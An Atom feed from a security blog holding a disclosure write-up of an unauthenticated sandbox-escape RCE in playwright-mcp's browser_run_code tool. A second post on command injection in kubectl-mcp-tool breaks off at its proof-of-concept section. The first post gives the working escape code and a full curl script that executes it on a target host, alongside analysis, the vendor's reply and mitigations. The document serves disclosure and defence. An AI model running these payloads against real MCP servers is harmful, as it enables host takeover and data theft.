<?xml version="1.0" encoding="utf-8"?><feed xmlns="http://www.w3.org/2005/Atom" ><generator uri="https://jekyllrb.com/" version="3.10.0">Jekyll</generator><link href="https://onemore-hayeon.github.io/feed.xml" rel="self" type="application/atom+xml" /><link href="https://onemore-hayeon.github.io/" rel="alternate" type="text/html" /><updated>2026-04-06T15:08:47+09:00</updated><id>https://onemore-hayeon.github.io/feed.xml</id><title type="html">OneMore Blog</title><subtitle>A space to collect knowledge on development &amp; security IT.</subtitle><author><name>Hayeon</name><email>hayeon.hjn@gmail.com</email></author><entry><title type="html">Unauthenticated RCE via VM Sandbox Escape in playwright-mcp (browser_run_code)</title><link href="https://onemore-hayeon.github.io/security/playwright-mcp-rce/" rel="alternate" type="text/html" title="Unauthenticated RCE via VM Sandbox Escape in playwright-mcp (browser_run_code)" /><published>2026-03-30T00:00:00+09:00</published><updated>2026-03-30T00:00:00+09:00</updated><id>https://onemore-hayeon.github.io/security/playwright-mcp-rce</id><content type="html" xml:base="https://onemore-hayeon.github.io/security/playwright-mcp-rce/"><![CDATA[<p><strong>CVE:</strong> Not assigned (MSRC assessed as “Not a vulnerability — by design”)<br />
<strong>Severity:</strong> Critical (estimated)<br />
<strong>CVSS v3.1:</strong> AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H (9.8)<br />
<strong>Affected Component:</strong> <code class="language-plaintext highlighter-rouge">@playwright/mcp</code> — <code class="language-plaintext highlighter-rouge">browser_run_code</code> tool<br />
<strong>Status:</strong> Vendor declined to fix; no CVE issued</p>

<hr />

<h2 id="1-summary">1. Summary</h2>

<p>The <code class="language-plaintext highlighter-rouge">browser_run_code</code> tool in Microsoft’s <a href="https://github.com/microsoft/playwright-mcp">playwright-mcp</a> server executes user-supplied JavaScript inside a Node.js VM context. The VM sandbox can be trivially escaped via prototype chain traversal of the <code class="language-plaintext highlighter-rouge">page</code> object, yielding a reference to the host Node.js <code class="language-plaintext highlighter-rouge">process</code> object. This grants full Remote Code Execution (RCE) with the privileges of the MCP server process.</p>

<p>When the server is deployed with HTTP/SSE transport (Streamable HTTP), any unauthenticated network client can exploit this without credentials or user interaction.</p>

<p>This maps to <strong>CWE-693 (Protection Mechanism Failure)</strong> and <strong>CWE-94 (Code Injection)</strong>.</p>

<p>This finding was reported to Microsoft Security Response Center (MSRC). MSRC assessed this as <strong>“Not a vulnerability — by design”</strong> and declined to issue a CVE. A rebuttal was submitted. This post presents the full technical analysis and the basis for disagreement with that assessment.</p>

<hr />

<h2 id="2-affected-component">2. Affected Component</h2>

<table>
  <thead>
    <tr>
      <th>Field</th>
      <th>Detail</th>
    </tr>
  </thead>
  <tbody>
    <tr>
      <td>Package</td>
      <td><code class="language-plaintext highlighter-rouge">@playwright/mcp</code> (npm)</td>
    </tr>
    <tr>
      <td>Repository</td>
      <td><a href="https://github.com/microsoft/playwright-mcp">microsoft/playwright-mcp</a></td>
    </tr>
    <tr>
      <td>Tool</td>
      <td><code class="language-plaintext highlighter-rouge">browser_run_code</code></td>
    </tr>
    <tr>
      <td>Underlying Implementation</td>
      <td><code class="language-plaintext highlighter-rouge">playwright/lib/mcp/browser/tools/runCode.js</code></td>
    </tr>
    <tr>
      <td>Transport</td>
      <td>HTTP/SSE (Streamable HTTP), TCP port 8931</td>
    </tr>
    <tr>
      <td>Default Enabled</td>
      <td>Yes — no <code class="language-plaintext highlighter-rouge">--caps</code> flag required</td>
    </tr>
    <tr>
      <td>Authentication</td>
      <td>None</td>
    </tr>
  </tbody>
</table>

<p><strong>Tool description from the official README:</strong></p>

<blockquote>
  <ul>
    <li><strong>Title:</strong> Run Playwright code</li>
    <li><strong>Description:</strong> Run Playwright code snippet</li>
    <li><strong>Parameter (<code class="language-plaintext highlighter-rouge">code</code>):</strong> “A JavaScript function containing Playwright code to execute. It will be invoked with a single argument, <code class="language-plaintext highlighter-rouge">page</code>, which you can use for <strong>any page interaction</strong>.”</li>
  </ul>
</blockquote>

<p>The documented scope is “page interaction” — navigating, clicking, filling forms, reading DOM content. Host-level code execution is not mentioned.</p>

<hr />

<h2 id="3-root-cause-vm-sandbox-escape-via-prototype-chain">3. Root Cause: VM Sandbox Escape via Prototype Chain</h2>

<p>The <code class="language-plaintext highlighter-rouge">browser_run_code</code> tool executes user-supplied JavaScript within a Node.js VM context, passing a live Playwright <code class="language-plaintext highlighter-rouge">page</code> object as the sole argument. The vulnerability exists because:</p>

<ol>
  <li>The <code class="language-plaintext highlighter-rouge">page</code> object originates from outside the VM sandbox (host environment).</li>
  <li>Its prototype chain leads back to the host’s <code class="language-plaintext highlighter-rouge">Function</code> constructor.</li>
  <li>The host’s <code class="language-plaintext highlighter-rouge">Function</code> constructor can be used to create a function that returns the host <code class="language-plaintext highlighter-rouge">process</code> object.</li>
</ol>

<p><strong>Escape technique:</strong></p>

<div class="language-javascript highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c1">// Walk the prototype chain from the page object to reach host's Function constructor</span>
<span class="kd">const</span> <span class="nx">processObj</span> <span class="o">=</span> <span class="nx">page</span><span class="p">.</span><span class="kd">constructor</span><span class="p">.</span><span class="kd">constructor</span><span class="p">(</span><span class="dl">'</span><span class="s1">return process</span><span class="dl">'</span><span class="p">)();</span>

<span class="c1">// From process, require any Node.js built-in module</span>
<span class="kd">const</span> <span class="nx">fs</span> <span class="o">=</span> <span class="nx">processObj</span><span class="p">.</span><span class="nx">mainModule</span><span class="p">.</span><span class="nx">require</span><span class="p">(</span><span class="dl">'</span><span class="s1">fs</span><span class="dl">'</span><span class="p">);</span>
<span class="kd">const</span> <span class="nx">child_process</span> <span class="o">=</span> <span class="nx">processObj</span><span class="p">.</span><span class="nx">mainModule</span><span class="p">.</span><span class="nx">require</span><span class="p">(</span><span class="dl">'</span><span class="s1">child_process</span><span class="dl">'</span><span class="p">);</span>

<span class="c1">// Arbitrary host-level operations</span>
<span class="nx">fs</span><span class="p">.</span><span class="nx">writeFileSync</span><span class="p">(</span><span class="dl">'</span><span class="s1">/tmp/pwned.txt</span><span class="dl">'</span><span class="p">,</span> <span class="dl">'</span><span class="s1">arbitrary file write</span><span class="dl">'</span><span class="p">);</span>
<span class="nx">child_process</span><span class="p">.</span><span class="nx">execSync</span><span class="p">(</span><span class="dl">'</span><span class="s1">id &gt; /tmp/whoami.txt</span><span class="dl">'</span><span class="p">);</span>
</code></pre></div></div>

<p><strong>Why this is vulnerable:</strong> The Node.js documentation explicitly states: <em>“The <code class="language-plaintext highlighter-rouge">node:vm</code> module is not a security mechanism. Do not use it to run untrusted code.”</em> The <code class="language-plaintext highlighter-rouge">browser_run_code</code> tool accepts arbitrary, untrusted code from MCP clients and executes it in this unsafe sandbox without additional hardening.</p>

<p><strong>Why the VM context indicates isolation intent:</strong> If unrestricted host-level code execution were “by design,” there would be no reason to use a VM context. The choice of VM over direct <code class="language-plaintext highlighter-rouge">eval()</code> or <code class="language-plaintext highlighter-rouge">Function()</code> execution indicates an architectural intent to sandbox the execution — an intent that the prototype chain escape circumvents.</p>

<hr />

<h2 id="4-aggravating-factor-no-authentication-on-http-transport">4. Aggravating Factor: No Authentication on HTTP Transport</h2>

<p>When started with <code class="language-plaintext highlighter-rouge">--port 8931</code> (HTTP/SSE transport), the server requires no authentication to:</p>

<ol>
  <li>Establish an MCP session (<code class="language-plaintext highlighter-rouge">initialize</code>)</li>
  <li>List available tools (<code class="language-plaintext highlighter-rouge">tools/list</code>)</li>
  <li>Invoke any tool, including <code class="language-plaintext highlighter-rouge">browser_run_code</code> (<code class="language-plaintext highlighter-rouge">tools/call</code>)</li>
</ol>

<p>The official Docker deployment guide demonstrates binding to all interfaces:</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>docker run <span class="nt">-d</span> <span class="nt">-i</span> <span class="nt">--rm</span> <span class="nt">--init</span> <span class="nt">--pull</span><span class="o">=</span>always <span class="se">\</span>
  <span class="nt">--entrypoint</span> node <span class="se">\</span>
  <span class="nt">--name</span> playwright <span class="se">\</span>
  <span class="nt">-p</span> 8931:8931 <span class="se">\</span>
  mcr.microsoft.com/playwright/mcp <span class="se">\</span>
  cli.js <span class="nt">--headless</span> <span class="nt">--browser</span> chromium <span class="nt">--no-sandbox</span> <span class="nt">--port</span> 8931 <span class="nt">--host</span> 0.0.0.0
</code></pre></div></div>

<p>In this configuration, any network-reachable client can achieve full RCE on the host (or container) without any credentials.</p>

<hr />

<h2 id="5-capability-system-inconsistency">5. Capability System Inconsistency</h2>

<p>playwright-mcp implements a capability-based access control system where dangerous tools require explicit opt-in:</p>

<table>
  <thead>
    <tr>
      <th>Capability</th>
      <th>Default</th>
      <th>Risk Level</th>
    </tr>
  </thead>
  <tbody>
    <tr>
      <td><code class="language-plaintext highlighter-rouge">core</code></td>
      <td>✅ Always enabled</td>
      <td>Basic automation</td>
    </tr>
    <tr>
      <td><code class="language-plaintext highlighter-rouge">core-tabs</code></td>
      <td>✅ Always enabled</td>
      <td>Tab management</td>
    </tr>
    <tr>
      <td><code class="language-plaintext highlighter-rouge">core-install</code></td>
      <td>✅ Always enabled</td>
      <td>Browser installation</td>
    </tr>
    <tr>
      <td><code class="language-plaintext highlighter-rouge">vision</code></td>
      <td>❌ Opt-in (<code class="language-plaintext highlighter-rouge">--caps</code>)</td>
      <td>Coordinate-based interaction</td>
    </tr>
    <tr>
      <td><code class="language-plaintext highlighter-rouge">pdf</code></td>
      <td>❌ Opt-in (<code class="language-plaintext highlighter-rouge">--caps</code>)</td>
      <td>PDF generation</td>
    </tr>
    <tr>
      <td><code class="language-plaintext highlighter-rouge">devtools</code></td>
      <td>❌ Opt-in (<code class="language-plaintext highlighter-rouge">--caps</code>)</td>
      <td>Developer tools</td>
    </tr>
    <tr>
      <td><code class="language-plaintext highlighter-rouge">tracing</code></td>
      <td>❌ Opt-in (<code class="language-plaintext highlighter-rouge">--caps</code>)</td>
      <td>Trace recording</td>
    </tr>
    <tr>
      <td><strong><code class="language-plaintext highlighter-rouge">browser_run_code</code></strong></td>
      <td><strong>✅ Always enabled</strong></td>
      <td><strong>Host RCE via VM escape</strong></td>
    </tr>
  </tbody>
</table>

<p>The <code class="language-plaintext highlighter-rouge">vision</code> capability is gated because coordinate-based clicking can interact with elements not exposed in the accessibility tree. Yet <code class="language-plaintext highlighter-rouge">browser_run_code</code>, which enables <strong>full host-level RCE</strong>, is exposed by default with no capability gate. This is inconsistent with the security model the capability system was designed to enforce.</p>

<hr />

<h2 id="6-impact">6. Impact</h2>

<table>
  <thead>
    <tr>
      <th>Aspect</th>
      <th>Detail</th>
    </tr>
  </thead>
  <tbody>
    <tr>
      <td>Attack Vector</td>
      <td>Network (HTTP/SSE transport)</td>
    </tr>
    <tr>
      <td>Authentication</td>
      <td>None required</td>
    </tr>
    <tr>
      <td>User Interaction</td>
      <td>None required</td>
    </tr>
    <tr>
      <td>Privileges Gained</td>
      <td>Full code execution as MCP server process user</td>
    </tr>
    <tr>
      <td>Demonstrated</td>
      <td>Arbitrary file read/write, <code class="language-plaintext highlighter-rouge">child_process</code> access</td>
    </tr>
    <tr>
      <td>Potential</td>
      <td>Data exfiltration, reverse shell, lateral movement, persistence</td>
    </tr>
  </tbody>
</table>

<hr />

<h2 id="7-proof-of-concept-poc--reproduction-steps">7. Proof of Concept (PoC) — Reproduction Steps</h2>

<h3 id="71-environment">7.1 Environment</h3>

<table>
  <thead>
    <tr>
      <th>Component</th>
      <th>Details</th>
    </tr>
  </thead>
  <tbody>
    <tr>
      <td>Network</td>
      <td>Same NAT segment, <code class="language-plaintext highlighter-rouge">192.168.136.x/24</code></td>
    </tr>
    <tr>
      <td>Attacker</td>
      <td>Kali Linux, acting as a remote MCP client</td>
    </tr>
    <tr>
      <td>Target</td>
      <td>Ubuntu, <code class="language-plaintext highlighter-rouge">playwright-mcp</code> bound to <code class="language-plaintext highlighter-rouge">192.168.136.166:8931</code></td>
    </tr>
    <tr>
      <td>Server Config</td>
      <td>Default — no <code class="language-plaintext highlighter-rouge">--caps</code> flags, no authentication, non-root user</td>
    </tr>
  </tbody>
</table>

<p>The attacker machine had <strong>no prior access</strong> to the target host.</p>

<h3 id="72-step-1--establish-session-and-verify-tool-availability">7.2 Step 1 — Establish Session and Verify Tool Availability</h3>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c">#!/usr/bin/env bash</span>
<span class="nb">set</span> <span class="nt">-euo</span> pipefail

<span class="nv">TARGET</span><span class="o">=</span><span class="s2">"http://192.168.136.166:8931/rpc"</span>
<span class="nv">HOST_HEADER</span><span class="o">=</span><span class="s2">"localhost:8931"</span>

<span class="nv">COMMON_HEADERS</span><span class="o">=(</span>
  <span class="nt">-H</span> <span class="s2">"Host: </span><span class="k">${</span><span class="nv">HOST_HEADER</span><span class="k">}</span><span class="s2">"</span>
  <span class="nt">-H</span> <span class="s2">"Accept: application/json, text/event-stream"</span>
  <span class="nt">-H</span> <span class="s2">"Content-Type: application/json"</span>
<span class="o">)</span>

<span class="c"># [1] Initialize MCP session</span>
<span class="nv">INIT_RESP_HEADERS</span><span class="o">=</span><span class="si">$(</span><span class="nb">mktemp</span><span class="si">)</span>
<span class="nv">INIT_RESP_BODY</span><span class="o">=</span><span class="si">$(</span><span class="nb">mktemp</span><span class="si">)</span>

curl <span class="nt">-sS</span> <span class="nt">-D</span> <span class="s2">"</span><span class="nv">$INIT_RESP_HEADERS</span><span class="s2">"</span> <span class="se">\</span>
  <span class="nt">-X</span> POST <span class="s2">"</span><span class="nv">$TARGET</span><span class="s2">"</span> <span class="se">\</span>
  <span class="s2">"</span><span class="k">${</span><span class="nv">COMMON_HEADERS</span><span class="p">[@]</span><span class="k">}</span><span class="s2">"</span> <span class="se">\</span>
  <span class="nt">--data</span> <span class="s1">'{
    "jsonrpc":"2.0","id":1,"method":"initialize",
    "params":{
      "protocolVersion":"2025-03-26",
      "capabilities":{},
      "clientInfo":{"name":"kali-poc","version":"0.1"}
    }
  }'</span> <span class="o">&gt;</span> <span class="s2">"</span><span class="nv">$INIT_RESP_BODY</span><span class="s2">"</span>

<span class="nv">SESSION_ID</span><span class="o">=</span><span class="si">$(</span><span class="nb">awk</span> <span class="s1">'BEGIN{IGNORECASE=1} /^mcp-session-id:/ {gsub("\r","",$2); print $2}'</span> <span class="se">\</span>
  <span class="s2">"</span><span class="nv">$INIT_RESP_HEADERS</span><span class="s2">"</span><span class="si">)</span>
<span class="nb">echo</span> <span class="s2">"[+] Session ID: </span><span class="nv">$SESSION_ID</span><span class="s2">"</span>

<span class="c"># [2] Send notifications/initialized</span>
curl <span class="nt">-sS</span> <span class="nt">-i</span> <span class="nt">-X</span> POST <span class="s2">"</span><span class="nv">$TARGET</span><span class="s2">"</span> <span class="s2">"</span><span class="k">${</span><span class="nv">COMMON_HEADERS</span><span class="p">[@]</span><span class="k">}</span><span class="s2">"</span> <span class="se">\</span>
  <span class="nt">-H</span> <span class="s2">"mcp-session-id: </span><span class="k">${</span><span class="nv">SESSION_ID</span><span class="k">}</span><span class="s2">"</span> <span class="se">\</span>
  <span class="nt">--data</span> <span class="s1">'{"jsonrpc":"2.0","method":"notifications/initialized","params":{}}'</span>

<span class="c"># [3] List tools — confirm browser_run_code is available</span>
<span class="nb">echo</span> <span class="s2">""</span>
<span class="nb">echo</span> <span class="s2">"[*] Listing available tools..."</span>
curl <span class="nt">-sS</span> <span class="nt">-X</span> POST <span class="s2">"</span><span class="nv">$TARGET</span><span class="s2">"</span> <span class="s2">"</span><span class="k">${</span><span class="nv">COMMON_HEADERS</span><span class="p">[@]</span><span class="k">}</span><span class="s2">"</span> <span class="se">\</span>
  <span class="nt">-H</span> <span class="s2">"mcp-session-id: </span><span class="k">${</span><span class="nv">SESSION_ID</span><span class="k">}</span><span class="s2">"</span> <span class="se">\</span>
  <span class="nt">--data</span> <span class="s1">'{"jsonrpc":"2.0","id":2,"method":"tools/list","params":{}}'</span> <span class="se">\</span>
  | python3 <span class="nt">-m</span> json.tool | <span class="nb">grep</span> <span class="nt">-A2</span> <span class="s2">"browser_run_code"</span>

<span class="c"># [4] Benign call — navigate to example.com and return page title</span>
<span class="nb">echo</span> <span class="s2">""</span>
<span class="nb">echo</span> <span class="s2">"[*] Benign test: fetching page title from example.com..."</span>
curl <span class="nt">-sS</span> <span class="nt">-X</span> POST <span class="s2">"</span><span class="nv">$TARGET</span><span class="s2">"</span> <span class="s2">"</span><span class="k">${</span><span class="nv">COMMON_HEADERS</span><span class="p">[@]</span><span class="k">}</span><span class="s2">"</span> <span class="se">\</span>
  <span class="nt">-H</span> <span class="s2">"mcp-session-id: </span><span class="k">${</span><span class="nv">SESSION_ID</span><span class="k">}</span><span class="s2">"</span> <span class="se">\</span>
  <span class="nt">--data</span> <span class="s1">'{
    "jsonrpc":"2.0","id":3,"method":"tools/call",
    "params":{
      "name":"browser_run_code",
      "arguments":{
        "code":"async (page) =&gt; { await page.goto(\"https://example.com\"); return await page.title(); }"
      }
    }
  }'</span> | python3 <span class="nt">-m</span> json.tool
</code></pre></div></div>

<p><strong>Expected:</strong> <code class="language-plaintext highlighter-rouge">browser_run_code</code> appears in the <code class="language-plaintext highlighter-rouge">tools/list</code> response. The benign call returns <code class="language-plaintext highlighter-rouge">"Example Domain"</code>.</p>

<h3 id="73-step-2--exploit-vm-escape--host-file-write-rce-proof">7.3 Step 2 — Exploit: VM Escape → Host File Write (RCE Proof)</h3>

<p>Replace step <code class="language-plaintext highlighter-rouge">[4]</code> in the above script with the following payload:</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c"># [4] RCE — escape VM sandbox via prototype chain, write arbitrary file on host</span>
curl <span class="nt">-sS</span> <span class="nt">-i</span> <span class="nt">-X</span> POST <span class="s2">"</span><span class="nv">$TARGET</span><span class="s2">"</span> <span class="s2">"</span><span class="k">${</span><span class="nv">COMMON_HEADERS</span><span class="p">[@]</span><span class="k">}</span><span class="s2">"</span> <span class="se">\</span>
  <span class="nt">-H</span> <span class="s2">"mcp-session-id: </span><span class="k">${</span><span class="nv">SESSION_ID</span><span class="k">}</span><span class="s2">"</span> <span class="se">\</span>
  <span class="nt">--data</span> <span class="s1">'{
    "jsonrpc":"2.0","id":3,"method":"tools/call",
    "params":{
      "name":"browser_run_code",
      "arguments":{
        "code":"async (page) =&gt; { const processObj = page.constructor.constructor('</span><span class="se">\'</span><span class="s1">'return process'</span><span class="se">\'</span><span class="s1">')(); const fs = processObj.mainModule.require('</span><span class="se">\'</span><span class="s1">'fs'</span><span class="se">\'</span><span class="s1">'); const target = '</span><span class="se">\'</span><span class="s1">'/tmp/pwmcp_rce_test.txt'</span><span class="se">\'</span><span class="s1">'; const content = '</span><span class="se">\'</span><span class="s1">'playwright-mcp host file write test\n'</span><span class="se">\'</span><span class="s1">'; fs.writeFileSync(target, content, '</span><span class="se">\'</span><span class="s1">'utf8'</span><span class="se">\'</span><span class="s1">'); return fs.readFileSync(target, '</span><span class="se">\'</span><span class="s1">'utf8'</span><span class="se">\'</span><span class="s1">'); }"
      }
    }
  }'</span>
</code></pre></div></div>

<p><strong>Verify on the MCP server host:</strong></p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nv">$ </span><span class="nb">cat</span> /tmp/pwmcp_rce_test.txt
playwright-mcp host file write <span class="nb">test</span>
</code></pre></div></div>

<p>This confirms <strong>arbitrary file write on the server host</strong> from an unauthenticated remote client.</p>

<p><strong>Why it succeeds:</strong> The <code class="language-plaintext highlighter-rouge">page</code> object’s prototype chain provides access to the host <code class="language-plaintext highlighter-rouge">Function</code> constructor, which can produce a function returning the host <code class="language-plaintext highlighter-rouge">process</code> object. From <code class="language-plaintext highlighter-rouge">process</code>, any Node.js built-in module (<code class="language-plaintext highlighter-rouge">fs</code>, <code class="language-plaintext highlighter-rouge">child_process</code>, <code class="language-plaintext highlighter-rouge">net</code>, etc.) is accessible. This behavior is consistent with the documented limitations of Node.js <code class="language-plaintext highlighter-rouge">vm</code> module.</p>

<p>The same technique trivially extends to arbitrary file read (<code class="language-plaintext highlighter-rouge">/etc/passwd</code>, SSH keys, application secrets), command execution via <code class="language-plaintext highlighter-rouge">child_process.execSync()</code>, reverse shell establishment, and lateral movement within the network.</p>

<hr />

<h2 id="8-vendor-response-msrc">8. Vendor Response (MSRC)</h2>

<blockquote>
  <p>After careful investigation, this case has been assessed as <strong>Not a vulnerability</strong> due to the fact that as for Engineering this is <strong>by design</strong>. Guidance on browser_run_code - by design - https://github.com/microsoft/playwright-mcp/blob/main/README.md#tools</p>

  <p>MSRC prioritizes vulnerabilities that are assessed as an Important or Critical severity. Since this case was below the bar for immediate servicing, it is not eligible for bounty, and no CVE will be issued. MSRC will not be tracking this issue further, and no additional updates will be provided.</p>
</blockquote>

<h3 id="why-by-design-does-not-hold">Why “By Design” Does Not Hold</h3>

<table>
  <thead>
    <tr>
      <th>#</th>
      <th>Argument</th>
      <th>Evidence</th>
    </tr>
  </thead>
  <tbody>
    <tr>
      <td>1</td>
      <td>Tool description limits scope to “page interaction”</td>
      <td>The <code class="language-plaintext highlighter-rouge">code</code> parameter is documented for “any page interaction” — not host-level code execution</td>
    </tr>
    <tr>
      <td>2</td>
      <td>VM context implies isolation intent</td>
      <td>Using VM instead of direct <code class="language-plaintext highlighter-rouge">eval()</code> indicates sandboxing intent; prototype chain escape circumvents it</td>
    </tr>
    <tr>
      <td>3</td>
      <td>Capability system inconsistency</td>
      <td><code class="language-plaintext highlighter-rouge">vision</code> (coordinate-based click) requires opt-in, but <code class="language-plaintext highlighter-rouge">browser_run_code</code> (host RCE) does not</td>
    </tr>
    <tr>
      <td>4</td>
      <td>No authentication on HTTP transport</td>
      <td>Any network client can invoke the tool without credentials</td>
    </tr>
    <tr>
      <td>5</td>
      <td>README disclaimer is insufficient</td>
      <td>“Not a security boundary” ≠ “unauthenticated RCE from the network is acceptable”</td>
    </tr>
  </tbody>
</table>

<p>A formal rebuttal has been submitted to MSRC.</p>

<hr />

<h2 id="9-recommended-mitigations">9. Recommended Mitigations</h2>

<p><strong>For users deploying playwright-mcp:</strong></p>

<ul>
  <li><strong>Do not expose the MCP server on network interfaces.</strong> Use stdio transport exclusively. If HTTP transport is required, restrict access via firewall rules or place behind an authenticated reverse proxy.</li>
  <li><strong>Avoid using <code class="language-plaintext highlighter-rouge">browser_run_code</code> in production deployments.</strong> Deploy with a configuration that excludes this tool from the tool list if possible.</li>
  <li><strong>Run in a container or VM with minimal privileges.</strong> Limit the blast radius if the sandbox is escaped.</li>
</ul>

<p><strong>For the maintainers:</strong></p>

<ul>
  <li><strong>Gate <code class="language-plaintext highlighter-rouge">browser_run_code</code> behind an explicit capability flag</strong> (e.g., <code class="language-plaintext highlighter-rouge">--caps code-execution</code>), consistent with the existing capability system.</li>
  <li><strong>Replace or harden the VM sandbox.</strong> Consider <code class="language-plaintext highlighter-rouge">vm2</code>, <code class="language-plaintext highlighter-rouge">isolated-vm</code>, or a separate worker process with restricted permissions.</li>
  <li><strong>Implement authentication for HTTP transport.</strong> At minimum, require a token or API key for session establishment.</li>
</ul>

<hr />

<h2 id="10-timeline">10. Timeline</h2>

<table>
  <thead>
    <tr>
      <th>Date</th>
      <th>Event</th>
    </tr>
  </thead>
  <tbody>
    <tr>
      <td>[REDACTED]</td>
      <td>Vulnerability identified and independently verified via custom PoC</td>
    </tr>
    <tr>
      <td>[REDACTED]</td>
      <td>Reported to MSRC</td>
    </tr>
    <tr>
      <td>[REDACTED]</td>
      <td>MSRC responds: “Not a vulnerability — by design”</td>
    </tr>
    <tr>
      <td>[REDACTED]</td>
      <td>Rebuttal submitted to MSRC</td>
    </tr>
    <tr>
      <td>2026-03-30</td>
      <td>Public disclosure via this blog post</td>
    </tr>
  </tbody>
</table>

<hr />

<h2 id="11-references">11. References</h2>

<ul>
  <li><a href="https://github.com/microsoft/playwright-mcp">microsoft/playwright-mcp — GitHub</a></li>
  <li><a href="https://nodejs.org/api/vm.html#vm-executing-javascript">Node.js <code class="language-plaintext highlighter-rouge">vm</code> module documentation — “Do not use it to run untrusted code”</a></li>
  <li><a href="https://modelcontextprotocol.io/">MCP Specification — Model Context Protocol</a></li>
  <li><a href="https://cwe.mitre.org/data/definitions/693.html">CWE-693: Protection Mechanism Failure</a></li>
  <li><a href="https://cwe.mitre.org/data/definitions/94.html">CWE-94: Improper Control of Generation of Code (Code Injection)</a></li>
  <li><a href="https://cwe.mitre.org/data/definitions/306.html">CWE-306: Missing Authentication for Critical Function</a></li>
  <li><a href="https://www.awesome-testing.com/2025/11/playwright-mcp-security">Playwright MCP Security Best Practices</a></li>
</ul>

<hr />

<p><em>Disclosure Note: This vulnerability was reported to Microsoft Security Response Center (MSRC) through the coordinated disclosure process. MSRC assessed it as “Not a vulnerability — by design” and stated no CVE would be issued and no further tracking would occur. This post is published as a technical analysis for the security community’s awareness, following the vendor’s explicit closure of the case.</em></p>]]></content><author><name>Hayeon</name><email>hayeon.hjn@gmail.com</email></author><category term="Security" /><category term="MCP" /><category term="Playwright" /><category term="RCE" /><category term="VM Escape" /><category term="Sandbox Escape" /><category term="CWE-693" /><category term="CWE-94" /><category term="Microsoft" /><summary type="html"><![CDATA[Microsoft playwright-mcp 서버의 browser_run_code 도구에서 발견된 Node.js VM 샌드박스 탈출을 통한 비인증 원격 코드 실행(RCE) 취약점 분석 및 PoC 보고서입니다.]]></summary></entry><entry><title type="html">CVE-2025-69902: OS Command Injection in kubectl-mcp-tool</title><link href="https://onemore-hayeon.github.io/security/CVE-2025-69902/" rel="alternate" type="text/html" title="CVE-2025-69902: OS Command Injection in kubectl-mcp-tool" /><published>2026-03-16T00:00:00+09:00</published><updated>2026-03-16T00:00:00+09:00</updated><id>https://onemore-hayeon.github.io/security/CVE-2025-69902</id><content type="html" xml:base="https://onemore-hayeon.github.io/security/CVE-2025-69902/"><![CDATA[<p><strong>CVE:</strong> CVE-2025-69902<br />
<strong>Severity:</strong> High<br />
<strong>Affected Versions:</strong> &lt;= 1.1.1<br />
<strong>Fixed Version:</strong> 1.2.0</p>

<hr />

<h2 id="1-summary">1. Summary</h2>

<p>The minimal MCP server wrapper in <code class="language-plaintext highlighter-rouge">kubectl_mcp_tool/minimal_wrapper.py</code> is vulnerable to OS command injection because it executes a user-controlled command string using <code class="language-plaintext highlighter-rouge">subprocess.run(..., shell=True, ...)</code>. This allows an attacker to append shell metacharacters (e.g., <code class="language-plaintext highlighter-rouge">;</code>, <code class="language-plaintext highlighter-rouge">&amp;&amp;</code>, <code class="language-plaintext highlighter-rouge">|</code>) and execute arbitrary OS commands on the host.</p>

<p>This maps to <strong>CWE-78 (OS Command Injection)</strong>.</p>

<hr />

<h2 id="2-affected-component">2. Affected Component</h2>

<table>
  <thead>
    <tr>
      <th>Field</th>
      <th>Detail</th>
    </tr>
  </thead>
  <tbody>
    <tr>
      <td>File</td>
      <td><code class="language-plaintext highlighter-rouge">kubectl_mcp_tool/minimal_wrapper.py</code></td>
    </tr>
    <tr>
      <td>Function</td>
      <td><code class="language-plaintext highlighter-rouge">run_kubectl_command(command)</code> (starts at line 128)</td>
    </tr>
    <tr>
      <td>Affected Versions</td>
      <td>&lt;= 1.1.1</td>
    </tr>
    <tr>
      <td>Fixed Version</td>
      <td>1.2.0</td>
    </tr>
  </tbody>
</table>

<p><strong>Key vulnerable lines:</strong></p>

<ul>
  <li><strong>Line 132</strong> — Prefixing attacker input into a command string: <code class="language-plaintext highlighter-rouge">command = f"kubectl {command}"</code></li>
  <li><strong>Line 140</strong> — Executing attacker-controlled string via shell: <code class="language-plaintext highlighter-rouge">shell=True</code></li>
</ul>

<p>The actual <code class="language-plaintext highlighter-rouge">subprocess.run(command, shell=True, ...)</code> call is visible in the source snippet.</p>

<p><strong>Why this is vulnerable:</strong> Python explicitly warns that when <code class="language-plaintext highlighter-rouge">shell=True</code> is used, the application must correctly quote/escape metacharacters to prevent shell injection.</p>

<hr />

<h2 id="3-mcp-tool-entry-point-how-untrusted-input-reaches-the-sink">3. MCP Tool Entry Point (How Untrusted Input Reaches the Sink)</h2>

<p>The MCP server registers a tool named <code class="language-plaintext highlighter-rouge">process_natural_language</code>. There are multiple paths where attacker-controlled text is passed into <code class="language-plaintext highlighter-rouge">run_kubectl_command()</code>:</p>

<p><strong>(A) Direct kubectl command path</strong><br />
If the incoming <code class="language-plaintext highlighter-rouge">query</code> starts with <code class="language-plaintext highlighter-rouge">"kubectl "</code>, the code executes it directly via <code class="language-plaintext highlighter-rouge">run_kubectl_command(query)</code>.</p>

<p><strong>(B) “Extracted kubectl command” path</strong><br />
If the query contains <code class="language-plaintext highlighter-rouge">"run … command … kubectl"</code>, a regex extracts <code class="language-plaintext highlighter-rouge">kubectl ...</code> from the query and executes it.</p>

<p>These mean a malicious MCP client (or an LLM-driven tool call) can deliver a payload like <code class="language-plaintext highlighter-rouge">kubectl get pods; &lt;OS command&gt;</code> and reach <code class="language-plaintext highlighter-rouge">subprocess.run(... shell=True ...)</code>.</p>

<hr />

<h2 id="4-impact">4. Impact</h2>

<ul>
  <li><strong>Primary:</strong> Arbitrary command execution on the host running the MCP server (RCE). Privilege is the same as the MCP server process (in the PoC below, root).</li>
  <li><strong>Secondary:</strong> If the MCP server runs with a privileged kubeconfig, an attacker may also use <code class="language-plaintext highlighter-rouge">kubectl</code> to impact the Kubernetes cluster (depending on RBAC/credentials).</li>
</ul>

<hr />

<h2 id="5-proof-of-concept-poc--reproduction-steps">5. Proof of Concept (PoC) — Reproduction Steps</h2>

<p>The following PoC demonstrates OS command injection without requiring a working Kubernetes cluster, because the injected command runs in the shell regardless of kubectl connectivity.</p>

<blockquote>
